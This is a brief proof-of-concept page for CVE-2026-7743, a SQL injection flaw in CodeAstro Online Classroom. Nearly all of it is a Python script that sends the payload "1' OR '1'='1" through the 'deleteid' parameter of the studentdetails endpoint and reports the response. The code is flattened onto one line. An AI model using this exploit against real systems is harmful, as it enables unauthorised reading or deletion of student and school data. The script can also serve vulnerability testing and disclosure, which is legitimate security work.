CVE-2026-7743: CodeAstro Online Classroom SQL注入漏洞

# PoC for CVE-2026-7743: SQL Injection in CodeAstro Online Classroom import requests def check_sqli(url): """ Tests the /OnlineClassroom/studentdetails endpoint for SQL Injection via the 'deleteid' parameter. """ target_endpoint = f"{url}/OnlineClassroom/studentdetails" # Payload attempting to cause a syntax error or time delay (True condition) # Example: ' OR 1=1-- - payload = "1' OR '1'='1" params = { "deleteid": payload } try: print(f"[+] Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) # Check if the response indicates a successful manipulation or DB error if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL errors or data leakage.") print(f"Response length: {len(response.text)}") # Further analysis of response.text would be needed to confirm exploitation else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target)